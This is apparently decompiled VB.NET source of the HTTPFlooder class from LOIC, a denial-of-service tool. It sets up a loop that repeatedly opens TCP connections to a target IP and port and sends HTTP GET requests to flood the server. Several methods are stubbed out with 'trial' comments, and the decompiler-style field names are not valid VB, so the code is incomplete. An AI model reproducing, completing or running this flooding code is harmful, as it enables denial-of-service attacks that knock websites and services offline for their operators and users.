Imports System
Imports System.ComponentModel
Imports System.Net
Imports System.Net.Sockets
Imports System.Runtime.CompilerServices
Imports System.Text
Imports System.Threading
Imports System.Windows.Forms
Namespace LOIC
Friend Class HTTPFlooder
Implements LOIC.IFlooder
<System.Runtime.CompilerServices.CompilerGenerated> _
Private <Delay>k__BackingField As Integer
<System.Runtime.CompilerServices.CompilerGenerated> _
Private <Downloaded>k__BackingField As Integer
<System.Runtime.CompilerServices.CompilerGenerated> _
Private <Failed>k__BackingField As Integer
<System.Runtime.CompilerServices.CompilerGenerated> _
Private <IP>k__BackingField As String
<System.Runtime.CompilerServices.CompilerGenerated> _
Private <IsFlooding>k__BackingField As Boolean
<System.Runtime.CompilerServices.CompilerGenerated> _
Private <Port>k__BackingField As Integer
<System.Runtime.CompilerServices.CompilerGenerated> _
Private <Requested>k__BackingField As Integer
<System.Runtime.CompilerServices.CompilerGenerated> _
Private <Resp>k__BackingField As Boolean
<System.Runtime.CompilerServices.CompilerGenerated> _
Private <State>k__BackingField As LOIC.ReqState
<System.Runtime.CompilerServices.CompilerGenerated> _
Private <Subsite>k__BackingField As String
<System.Runtime.CompilerServices.CompilerGenerated> _
Private <Timeout>k__BackingField As Integer
Private bw As System.ComponentModel.BackgroundWorker
Private lastAction As Long
Private random As System.Random
Private tTimepoll As System.Windows.Forms.Timer
Public Property Delay As Integer
Get
Return <Delay>k__BackingField
End Get
Set
<Delay>k__BackingField = value
End Set
End Property
Public Property Downloaded As Integer
Get
Return <Downloaded>k__BackingField
End Get
Set
<Downloaded>k__BackingField = value
End Set
End Property
Public Property Failed As Integer
Get
Return <Failed>k__BackingField
End Get
Set
<Failed>k__BackingField = value
End Set
End Property
Public Property IP As String
Get
Return <IP>k__BackingField
End Get
Set
<IP>k__BackingField = value
End Set
End Property
Public Property IsFlooding As Boolean
Get
Return <IsFlooding>k__BackingField
End Get
Set
<IsFlooding>k__BackingField = value
End Set
End Property
Public Property Port As Integer
Get
Return <Port>k__BackingField
End Get
Set
<Port>k__BackingField = value
End Set
End Property
Public Property Requested As Integer
Get
Return <Requested>k__BackingField
End Get
Set
<Requested>k__BackingField = value
End Set
End Property
Public Property Resp As Boolean
Get
Return <Resp>k__BackingField
End Get
Set
<Resp>k__BackingField = value
End Set
End Property
Public Property State As LOIC.ReqState
Get
Return <State>k__BackingField
End Get
Set
<State>k__BackingField = value
End Set
End Property
Public Property Subsite As String
Get
Return <Subsite>k__BackingField
End Get
Set
<Subsite>k__BackingField = value
End Set
End Property
Public Property Timeout As Integer
Get
Return <Timeout>k__BackingField
End Get
Set
<Timeout>k__BackingField = value
End Set
End Property
Public Sub New(ByVal ip As String, ByVal port As Integer, ByVal subSite As String, ByVal resp As Boolean, ByVal delay As Integer, ByVal timeout As Integer)
random = New System.Random
tTimepoll = New System.Windows.Forms.Timer
IP = ip
Port = port
Subsite = subSite
Resp = resp
Delay = delay
Timeout = timeout
End Sub
Private Sub bw_DoWork(ByVal sender As Object, ByVal e As System.ComponentModel.DoWorkEventArgs)
Try
Dim bArr1 As Byte() = System.Text.Encoding.ASCII.GetBytes(System.String.Format("GET {0} HTTP/1.0{1}{1}{1}", Subsite, System.Environment.NewLine))
Dim ipendPoint As System.Net.IPEndPoint = New System.Net.IPEndPoint(System.Net.IPAddress.Parse(IP), Port)
While IsFlooding
State = LOIC.ReqState.Ready
lastAction = LOIC.HTTPFlooder.Tick()
Dim bArr2 As Byte() = New byte(&H40) {}
Dim socket As System.Net.Sockets.Socket = New System.Net.Sockets.Socket(System.Net.Sockets.AddressFamily.InterNetwork, System.Net.Sockets.SocketType.Stream, System.Net.Sockets.ProtocolType.Tcp)
State = LOIC.ReqState.Connecting
socket.Connect(ipendPoint)
socket.Blocking = Resp
State = LOIC.ReqState.Requesting
socket.Send(bArr1, System.Net.Sockets.SocketFlags.None)
State = LOIC.ReqState.Downloading
Requested = Requested + 1
If Resp Then
socket.Receive(bArr2, &H40, System.Net.Sockets.SocketFlags.None)
End If
State = LOIC.ReqState.Completed
Downloaded = Downloaded + 1
tTimepoll.Stop()
If Delay > 0 Then
System.Threading.Thread.Sleep(Delay)
End If
End While
Catch
Finally
IsFlooding = False
End Try
End Sub
Public Sub Start()
' trial
End Sub
Public Sub Stop()
IsFlooding = False
bw.CancelAsync()
End Sub
Private Sub tTimepoll_Tick(ByVal sender As Object, ByVal e As System.EventArgs)
' trial
End Sub
Private Shared Function Tick() As Long
' trial
Return 0
End Function
End Class ' class HTTPFlooder
End Namespace